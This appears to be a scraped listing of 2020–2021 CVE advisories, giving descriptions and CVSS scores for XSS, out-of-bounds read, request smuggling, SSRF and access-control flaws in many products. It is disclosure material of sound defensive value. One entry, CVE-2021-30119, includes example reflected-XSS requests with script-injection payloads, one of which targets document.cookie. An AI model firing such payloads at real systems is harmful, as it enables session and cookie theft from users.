CVE-2021-29106	A reflected Cross Site Scripting (XSS) vulnerability in Esri ArcGIS Server version 10.8.1 and below may allow a remote attacker able to convince a user to click on a crafted link which could potentially execute arbitrary JavaScript code in the user's browser.	6.1	More Details
CVE-2021-29107	A stored Cross Site Scripting (XXS) vulnerability in ArcGIS Server Manager version 10.8.1 and below may allow a remote unauthenticated attacker to pass and store malicious strings in the ArcGIS Server Manager application.	6.1	More Details
CVE-2021-33214	In HMS Ewon eCatcher through 6.6.4, weak filesystem permissions could allow malicious users to access files that could lead to sensitive information disclosure, modification of configuration files, or disruption of normal system operation.	6.1	More Details
CVE-2021-29712	IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 200966.	6.1	More Details
CVE-2021-29103	A reflected Cross Site Scripting (XXS) vulnerability in ArcGIS Server version 10.8.1 and below may allow a remote attacker able to convince a user to click on a crafted link which could potentially execute arbitrary JavaScript code in the user's browser.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-22916	In Brave Desktop between versions 1.17 and 1.26.60, when adblocking is enabled and a proxy browser extension is installed, the CNAME adblocking feature issues DNS requests that used the system DNS settings instead of the extension's proxy settings, resulting in possible information disclosure.	5.9	More Details
CVE-2021-20369	IBM Cloud Pak for Applications 4.3 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 195361.	5.9	More Details
CVE-2021-26100	A missing cryptographic step in the Identity-Based Encryption service of FortiMail before 7.0.0 may allow an unauthenticated attacker who intercepts the encrypted messages to manipulate them in such a way that makes the tampering and the recovery of the plaintexts possible.	5.9	More Details
CVE-2021-32714	hyper is an HTTP library for Rust. In versions prior to 0.14.10, hyper's HTTP server and client code had a flaw that could trigger an integer overflow when decoding chunk sizes that are too big. This allows possible data loss, or if combined with an upstream HTTP proxy that allows chunk sizes larger than hyper does, can result in "request smuggling" or "desync attacks." The vulnerability is patched in version 0.14.10. Two possible workarounds exist. One may reject requests manually that contain a `Transfer-Encoding` header or ensure any upstream proxy rejects `Transfer-Encoding` chunk sizes greater than what fits in 64-bit unsigned integers.	5.9	More Details
CVE-2021-31810	An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. A malicious FTP server can use the PASV response to trick Net::FTP into connecting back to a given IP address and port. This potentially makes curl extract information about services that are otherwise private and not disclosed (e.g., the attacker can conduct port scans and service banner extractions).	5.8	More Details
CVE-2021-31222	SES Evolution before 2.1.0 allows updating some parts of a security policy by leveraging access to a computer having the administration console installed.	5.7	More Details
CVE-2021-31223	SES Evolution before 2.1.0 allows reading some parts of a security policy by leveraging access to a computer having the administration console installed.	5.7	More Details
CVE-2021-21589	Dell EMC Unity, Unity XT, and UnityVSA versions prior to 5.1.0.0.5.394 do not exit on failed Initialization. A local authenticated Service user could potentially exploit this vulnerability to escalate privileges.	5.7	More Details
CVE-2021-31221	SES Evolution before 2.1.0 allows deleting some parts of a security policy by leveraging access to a computer having the administration console installed.	5.7	More Details
CVE-2021-32727	Nextcloud Android Client is the Android client for Nextcloud. Clients using the Nextcloud end-to-end encryption feature download the public and private key via an API endpoint. In versions prior to 3.16.1, the Nextcloud Android client skipped a step that involved the client checking if a private key belonged to a previously downloaded public certificate. If the Nextcloud instance served a malicious public key, the data would be encrypted for this key and thus could be accessible to a malicious actor. The vulnerability is patched in version 3.16.1. As a workaround, do not add additional end-to-end encrypted devices to a user account.	5.7	More Details
CVE-2021-34304	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13199)	5.5	More Details
CVE-2021-34307	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13343)	5.5	More Details
CVE-2021-34308	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13344)	5.5	More Details
CVE-2021-34321	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The VisDraw.dll library in affected applications lacks proper validation of user-supplied data when parsing J2K files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13414)	5.5	More Details
CVE-2021-34320	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data when parsing JT files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13406)	5.5	More Details
CVE-2021-25431	Improper access control vulnerability in Cameralyzer prior to versions 3.2.1041 in 3.2.x, 3.3.1040 in 3.3.x, and 3.4.4210 in 3.4.x allows untrusted applications to access some functions of Cameralyzer.	5.5	More Details
CVE-2021-32972	Panasonic FPWIN Pro, all Versions 7.5.1.1 and prior, allows an attacker to craft a project file specifying a URI that causes the XML parser to access the URI and embed the contents, which may allow the attacker to disclose information that is accessible in the context of the user executing software.	5.5	More Details
CVE-2021-34303	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13198)	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-34325	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Jt981.dll library in affected applications lacks proper validation of user-supplied data when parsing JT files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13421)	5.5	More Details
CVE-2021-34302	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13197)	5.5	More Details
CVE-2021-34299	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The Tiff_loader.dll library in affected applications lacks proper validation of user-supplied data when parsing TIFF files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13192)	5.5	More Details
CVE-2021-25433	Improper authorization vulnerability in Tizen factory reset policy prior to Firmware update JUL-2021 Release allows untrusted applications to perform factory reset using dbus signal.	5.5	More Details
CVE-2021-33715	A vulnerability has been identified in JT Utilities (All versions < V13.0.2.0). When parsing specially crafted JT files, a race condition could cause an object to be released before being operated on, leading to NULL pointer deference condition and causing the application to crash. An attacker could leverage this vulnerability to cause a Denial-of-Service condition in the application.	5.5	More Details
CVE-2021-33714	A vulnerability has been identified in JT Utilities (All versions < V13.0.2.0). When parsing specially crafted JT files, a missing check for the validity of an iterator leads to NULL pointer deference condition, causing the application to crash. An attacker could leverage this vulnerability to cause a Denial-of-Service condition in the application.	5.5	More Details
CVE-2021-33713	A vulnerability has been identified in JT Utilities (All versions < V13.0.2.0). When parsing specially crafted JT files, a hash function is called with an incorrect argument leading the application to crash. An attacker could leverage this vulnerability to cause a Denial-of-Service condition in the application.	5.5	More Details
CVE-2021-34322	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The JPEG2K_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing J2K files. This could result in an out of bounds read past the end of an allocated buffer. An attacker could leverage this vulnerability to leak information in the context of the current process. (ZDI-CAN-13416)	5.5	More Details
CVE-2021-34332	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. A malformed input file could result in an infinite loop condition that leads to denial of service condition. An attacker could leverage this vulnerability to consume excessive resources. (CNVD-C-2021-79300)	5.5	More Details
CVE-2021-33795	Foxit Reader before 10.1.4 and PhantomPDF before 10.1.4 produce incorrect PDF document signatures because the certificate name, document owner, and signature author are mishandled.	5.5	More Details
CVE-2021-34333	A vulnerability has been identified in JT2Go (All versions < V13.2), Teamcenter Visualization (All versions < V13.2). The BMP_Loader.dll library in affected applications lacks proper validation of user-supplied data when parsing BMP files. A malformed input file could result in double free of an allocated buffer that leads to a crash. An attacker could leverage this vulnerability to cause denial of service condition. (CNVD-C-2021-79295)	5.5	More Details
CVE-2021-22399	The Bluetooth function of some Huawei smartphones has a DoS vulnerability. Attackers can install third-party apps to send specific broadcasts, causing the Bluetooth module to crash. This vulnerability is successfully exploited to cause the Bluetooth function to become abnormal. Affected product versions include: HUAWEI P30 10.0.0.195(C432E22R2P5), 10.0.0.200(C00E85R2P11), 10.0.0.200(C461E6R3P1), 10.0.0.201(C10E7R5P1), 10.0.0.201(C185E4R7P1), 10.0.0.206(C605E19R1P3), 10.0.0.209(C636E6R3P4), 10.0.0.210(C635E3R2P4), and versions earlier than 10.1.0.165(C01E165R2P11).	5.5	More Details
CVE-2020-25394	A stored cross site scripting (XSS) vulnerability in moziloCMS 2.0 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the "Content" parameter.	5.4	More Details
CVE-2021-20361	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195032.	5.4	More Details
CVE-2021-32755	Wire is a collaboration platform. wire-ios-transport handles authentication of requests, network failures, and retries for the iOS implementation of Wire. In the 3.82 version of the iOS application, a new web socket implementation was introduced for users running iOS 13 or higher. This new websocket implementation is not configured to enforce certificate pinning when available. Certificate pinning for the new websocket is enforced in version 3.84 or above.	5.4	More Details
CVE-2021-20368	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195357.	5.4	More Details
CVE-2021-20366	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195037.	5.4	More Details
CVE-2021-20365	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195036.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-20364	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195035.	5.4	More Details
CVE-2021-20363	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195034.	5.4	More Details
CVE-2021-20362	IBM Cloud Pak for Applications 4.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 195033.	5.4	More Details
CVE-2020-25391	A cross site scripting vulnerability in CSZ CMS 1.2.9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'New Pages' field under the 'Pages Content' module.	5.4	More Details
CVE-2020-35985	A stored cross site scripting (XSS) vulnerability in the 'Global Lists" feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.	5.4	More Details
CVE-2021-29804	IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 204262.	5.4	More Details
CVE-2020-25875	A stored cross site scripting (XSS) vulnerability in the 'Smileys' feature of Codoforum v5.0.2 allows authenticated attackers to execute arbitrary web scripts or HTML via crafted payload entered into the 'Smiley Code' parameter.	5.4	More Details
CVE-2020-25392	A cross site scripting (XSS) vulnerability in CSZ CMS 1.2.9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'New Article' field under the 'Article' plugin.	5.4	More Details
CVE-2021-29105	A stored Cross Site Scripting (XSS) vulnerability in Esri ArcGIS Server Services Directory version 10.8.1 and below may allow a remote authenticated attacker to pass and store malicious strings in the ArcGIS Services Directory.	5.4	More Details
CVE-2020-35984	A stored cross site scripting (XSS) vulnerability in the 'Users Alerts' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Title' parameter.	5.4	More Details
CVE-2020-25879	A stored cross site scripting (XSS) vulnerability in the 'Manage Users' feature of Codoforum v5.0.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Username' parameter.	5.4	More Details
CVE-2020-25877	A stored cross site scripting (XSS) vulnerability in the 'Add Page' feature of BlackCat CMS 1.3.6 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Title' parameter.	5.4	More Details
CVE-2020-25876	A stored cross site scripting (XSS) vulnerability in the 'Pages' feature of Codoforum v5.0.2 allows authenticated attackers to execute arbitrary web scripts or HTML via crafted payload entered into the 'Page Title' parameter.	5.4	More Details
CVE-2020-35986	A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.	5.4	More Details
CVE-2021-29803	IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 204164.	5.4	More Details
CVE-2020-35987	A stored cross site scripting (XSS) vulnerability in the 'Entities List' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.	5.4	More Details
CVE-2021-24408	The Prismatic WordPress plugin before 2.8 does not sanitise or validate some of its shortcode parameters, allowing users with a role as low as Contributor to set Cross-Site payload in them. A post made by a contributor would still have to be approved by an admin to have the XSS trigger able in the frontend, however, higher privilege users, such as editor could exploit this without the need of approval, and even when the blog disallows the unfiltered_html capability.	5.4	More Details
CVE-2020-19203	An authenticated Cross-Site Scripting (XSS) vulnerability was found in widgets/widgets/wake_on_lan_widget.php, a component of the pfSense software WebGUI, on version 2.4.4-p2 and earlier. The widget did not encode the descr (description) parameter of wake-on-LAN entries in its output, leading to a possible stored XSS.	5.4	More Details
CVE-2020-21333	Cross Site Scripting (XSS) vulnerability in PublicCMS 4.0 to get an admin cookie when the Administrator reviews submit case.	5.4	More Details
CVE-2021-24439	The Browser Screenshots WordPress plugin before 1.7.6 allowed authenticated users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks as the image_class parameter of the browser-shot shortcode was not escaped.	5.4	More Details
CVE-2021-24424	The WP Reset – Most Advanced WordPress Reset Tool WordPress plugin before 1.90 did not sanitise or escape its extra_data parameter when creating a snapshot via the admin dashboard, leading to an authenticated Stored Cross-Site Scripting issue	5.4	More Details
CVE-2020-19201	A Stored Cross-Site Scripting (XSS) vulnerability was found in status_filter_reload.php, a page in the pfSense software WebGUI, on Netgate pfSense version 2.4.4-p2 and earlier. The page did not encode output from the filter reload process, and a stored XSS was possible via the descr (description) parameter on NAT rules.	5.4	More Details
CVE-2021-24421	The WP JobSearch WordPress plugin before 1.7.4 did not sanitise or escape multiple of its parameters from the my-resume page before outputting them in the page, allowing low privilege users to use JavaScript payloads in them and leading to a Stored Cross-Site Scripting issue	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2020-19204	An authenticated Stored Cross-Site Scriptiong (XSS) vulnerability exists in Lightning Wire Labs IPFire 2.21 (x86_64) - Core Update 130 in the "routing.cgi" Routing Table Entries via the "Remark" text box or "remark" parameter. It allows an authenticated WebGUI user to execute Stored Cross-site Scripting in the Routing Table Entries.	5.4	More Details
CVE-2021-30119	Authenticated reflective XSS in HelpDeskTab/rcResults.asp The parameter result of /HelpDeskTab/rcResults.asp is insecurely returned in the requested web page and can be used to perform a Cross Site Scripting attack Example request: `https://x.x.x.x/HelpDeskTab/rcResults.asp?result=<script>alert(document.cookie)</script>` The same is true for the parameter FileName of /done.asp Eaxmple request: `https://x.x.x.x/done.asp?FileName=";</script> <script>alert(1);a="&PathData=&originalName=shell.aspx&FileSize=4388&TimeElapsed=00:00:00.078`	5.4	More Details
CVE-2021-24420	The Request a Quote WordPress plugin before 2.3.4 did not sanitise and escape some of its quote fields when adding/editing a quote as admin, leading to Stored Cross-Site scripting issues when the quote is output in the 'All Quotes" table.	5.4	More Details
CVE-2021-24365	The Admin Columns WordPress plugin Free before 4.3.2 and Pro before 5.5.2 allowed to configure individual columns for tables. Each column had a type. The type "Custom Field" allowed to choose an arbitrary database column to display in the table. There was no escaping applied to the contents of "Custom Field" columns.	5.4	More Details
CVE-2020-18982	Cross Sie Scripting (XSS) vulnerability in Halo 0.4.3 via CommentAuthorUrl.	5.4	More Details
CVE-2021-29822	IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 204349.	5.4	More Details
CVE-2021-29805	IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 204263.	5.4	More Details
CVE-2020-24141	Server-side request forgery in the WP-DownloadManager plugin 1.68.4 for WordPress lets an attacker send crafted requests from the back-end server of a vulnerable web application via the file_remote parameter to download-add.php. It can help identify open ports, local network hosts and execute command on services	5.3	More Details
CVE-2021-36381	In Edifecs Transaction Management through 2021-07-12, an unauthenticated user can inject arbitrary text into a user's browser via logon.jsp?logon_error= on the login screen of the Web application.	5.3	More Details
CVE-2021-32705	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, there was a lack of ratelimiting on the public DAV endpoint. This may have allowed an attacker to enumerate potentially valid share tokens or credentials. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds.	5.3	More Details
CVE-2021-32703	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, there was a lack of ratelimiting on the shareinfo endpoint. This may have allowed an attacker to enumerate potentially valid share tokens. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds.	5.3	More Details
CVE-2021-22918	Node.js before 16.4.1, 14.17.2, 12.22.2 is vulnerable to an out-of-bounds read when uv__idna_toascii() is used to convert strings to ASCII. The pointer p is read and increased without checking whether it is beyond pe, with the latter holding a pointer to the end of the buffer. This can lead to information disclosures or crashes. This function can be triggered via uv_getaddrinfo().	5.3	More Details
CVE-2020-19037	Incorrect Access Control vulnearbility in Halo 0.4.3, which allows a malicious user to bypass encrption to view encrpted articles via cookies.	5.3	More Details
CVE-2021-26037	An issue was discovered in Joomla! 2.5.0 through 3.9.27. CMS functions did not properly termine existing user sessions when a user's password was changed or the user was blocked.	5.3	More Details
CVE-2021-32515	Directory listing vulnerability in share_link in QSAN Storage Manager allows attackers to list arbitrary directories and further access credential information. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	5.3	More Details
CVE-2021-32528	Observable behavioral discrepancy vulnerability in QSAN Storage Manager allows remote attackers to obtain the system information without permissions. Suggest contacting with QSAN and refer to recommendations in QSAN Document.	5.3	More Details
CVE-2021-26090	A missing release of memory after its effective lifetime vulnerability in the Webmail of FortiMail 6.4.0 through 6.4.4 and 6.2.0 through 6.2.6 may allow an unauthenticated remote attacker to exhaust available memory via specifically crafted login requests.	5.3	More Details
CVE-2021-32741	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, there was a lack of ratelimiting on the public share link mount endpoint. This may have allowed an attacker to enumerate potentially valid share tokens. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds.	5.3	More Details
CVE-2021-32746	Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Between versions 2.3.0 and 2.8.2, the `doc` module of Icinga Web 2 allows to view documentation directly in the UI. It must be enabled manually by an administrator and users need explicit access permission to use it. Then, by visiting a certain route, it is possible to gain access to arbitrary files readable by the web-server user. The issue has been fixed in the 2.9.0, 2.8.3, and 2.7.5 releases. As a workaround, an administrator may disable the `doc` module or revoke permission to use it from all users.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-32747	Icinga Web 2 is an open source monitoring web interface, framework, and command-line interface. A vulnerability in which custom variables are exposed to unauthorized users exists between versions 2.0.0 and 2.8.2. Custom variables are user-defined keys and values on configuration objects in Icinga 2. These are commonly used to reference secrets in other configurations such as check commands to be able to authenticate with a service being checked. Icinga Web 2 displays these custom variables to logged in users with access to said hosts or services. In order to protect the secrets from being visible to anyone, it's possible to setup protection rules and blacklists in a user's role. Protection rules result in `***` being shown instead of the original value, the key will remain. Backlists will hide a custom variable entirely from the user. Besides using the UI, custom variables can also be accessed differently by using an undocumented URL parameter. By adding a parameter to the affected routes, Icinga Web 2 will show these columns additionally in the respective list. This parameter is also respected when exporting to JSON or CSV. Protection rules and blacklists however have no effect in this case. Custom variables are shown as-is in the result. The issue has been fixed in the 2.9.0, 2.8.3, and 2.7.5 releases. As a workaround, one may set up a restriction to hide hosts and services with the custom variable in question.	5.3	More Details
CVE-2021-20416	IBM Guardium Data Encryption (GDE) 3.0.0.3 and 4.0.0.4 could allow a remote attacker to obtain sensitive information, caused by the failure to set the HTTPOnly flag. A remote attacker could exploit this vulnerability to obtain sensitive information from the cookie. IBM X-Force ID: 196218.	5.3	More Details
CVE-2021-32754	FlowDroid is a data flow analysis tool. FlowDroid versions prior to 2.9.0 contained an XML external entity (XXE) vulnerability that allowed an attacker who had control over the source/sink definition file in XML format to read files from external locations. In order for this to occur, the XML-based format for sources and sinks had to be used and the attacker had to able control the source/sink definition file. The vulnerability was patched in version 2.9.0. As a workaround, do not allow untrusted entities to control the source/sink definition file.	5.3	More Details
CVE-2021-33037	Apache Tomcat 10.0.0-M1 to 10.0.6, 9.0.0.M1 to 9.0.46 and 8.5.0 to 8.5.66 did not correctly parse the HTTP transfer-encoding request header in some circumstances leading to the possibility to request smuggling when used with a reverse proxy. Specifically: - Tomcat incorrectly ignored the transfer encoding header if the client declared it would only accept an HTTP/1.0 response; - Tomcat honoured the identify encoding; and - Tomcat did not ensure that, if present, the chunked encoding was the final encoding.	5.3	More Details
CVE-2021-33718	A vulnerability has been identified in Mendix Applications using Mendix 7 (All versions < V7.23.22), Mendix Applications using Mendix 8 (All versions < V8.18.7), Mendix Applications using Mendix 9 (All versions < V9.3.0). Write access checks of attributes of an object could be bypassed, if user has a write permissions to the first attribute of this object.	5.3	More Details
CVE-2020-18741	Improper Authorization in ThinkSAAS v2.7 allows remote attackers to modify the description of any user's photo via the "photoid%5B%5D" and "photodesc%5B%5D" parameters in the component "index.php?app=photo."	5.3	More Details
CVE-2021-33711	A vulnerability has been identified in Teamcenter Active Workspace V4 (All versions < V4.3.9), Teamcenter Active Workspace V5.0 (All versions < V5.0.7), Teamcenter Active Workspace V5.1 (All versions < V5.1.4). The affected application allows verbose error messages which allow leaking of sensitive information, such as full paths.	5.3	More Details
CVE-2021-31220	SES Evolution before 2.1.0 allows modifying security policies by leveraging access of a user having read-only access to security policies.	5.2	More Details
CVE-2021-20414	IBM Guardium Data Encryption (GDE) 3.0.0.2 could allow a user to bruce force sensitive information due to not properly limiting the number of interactions. IBM X-Force ID: 196216.	4.9	More Details
CVE-2021-22230	Improper code rendering while rendering merge requests could be exploited to submit malicious code. This vulnerability affects GitLab CE/EE 9.3 and later through 13.11.6, 13.12.6, and 14.0.2.	4.9	More Details
CVE-2021-24419	The WP YouTube Lyte WordPress plugin before 1.7.16 did not sanitise or escape its lyte_yt_api_key and lyte_notification settings before outputting them back in the page, allowing high privilege users to set XSS payload on them and leading to stored Cross-Site Scripting issues.	4.8	More Details
CVE-2021-24427	The W3 Total Cache WordPress plugin before 2.1.3 did not sanitise or escape some of its CDN settings, allowing high privilege users to use JavaScript in them, which will be output in the page, leading to an authenticated Stored Cross-Site Scripting issue	4.8	More Details
CVE-2020-25878	A stored cross site scripting (XSS) vulnerability in the 'Admin-Tools' feature of BlackCat CMS 1.3.6 allows authenticated attackers to execute arbitrary web scripts or HTML via crafted payloads entered into the 'Output Filters' and 'Droplets' modules.	4.8	More Details
CVE-2021-24426	The Backup by 10Web – Backup and Restore Plugin WordPress plugin through 1.0.20 does not sanitise or escape the tab parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue	4.8	More Details
CVE-2021-1607	Multiple vulnerabilities in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user. These vulnerabilities exist because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker would need valid administrative credentials.	4.8	More Details
CVE-2021-1606	Multiple vulnerabilities in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user. These vulnerabilities exist because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker would need valid administrative credentials.	4.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-24418	The Smooth Scroll Page Up/Down Buttons WordPress plugin through 1.4 does not properly sanitise and validate its psb_positioning settings, allowing high privilege users such as admin to set an XSS payload in it, which will be executed in all pages of the blog	4.8	More Details
CVE-2021-1603	Multiple vulnerabilities in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user. These vulnerabilities exist because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker would need valid administrative credentials.	4.8	More Details
CVE-2021-22515	Multi-Factor Authentication (MFA) functionality can be bypassed, allowing the use of single factor authentication in NetIQ Advanced Authentication versions prior to 6.3 SP4 Patch 1.	4.8	More Details
CVE-2021-1605	Multiple vulnerabilities in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user. These vulnerabilities exist because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker would need valid administrative credentials.	4.8	More Details
CVE-2021-1604	Multiple vulnerabilities in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user. These vulnerabilities exist because the web-based management interface does not sufficiently validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker would need valid administrative credentials.	4.8	More Details
CVE-2020-20363	Crossi Site Scripting (XSS) vulnerability in PbootCMS 2.0.3 in admin.php.	4.8	More Details
CVE-2021-35361	A reflected cross site scripting (XSS) vulnerability in dotAdmin/#/c/links of dotCMS 21.05.1 allows attackers to execute arbitrary commands or HTML via a crafted payload.	4.8	More Details
CVE-2021-35360	A reflected cross site scripting (XSS) vulnerability in dotAdmin/#/c/containers of dotCMS 21.05.1 allows attackers to execute arbitrary commands or HTML via a crafted payload.	4.8	More Details
CVE-2021-35358	A stored cross site scripting (XSS) vulnerability in dotAdmin/#/c/c_Images of dotCMS 21.05.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Title' and 'Filename' parameters.	4.8	More Details
CVE-2021-24440	The Sign-up Sheets WordPress plugin before 1.0.14 did not sanitise or escape some of its fields when creating a new sheet, allowing high privilege users to add JavaScript in them, leading to a Stored Cross-Site Scripting issue. The payloads will be triggered when viewing the 'All Sheets' page in the admin dashboard	4.8	More Details
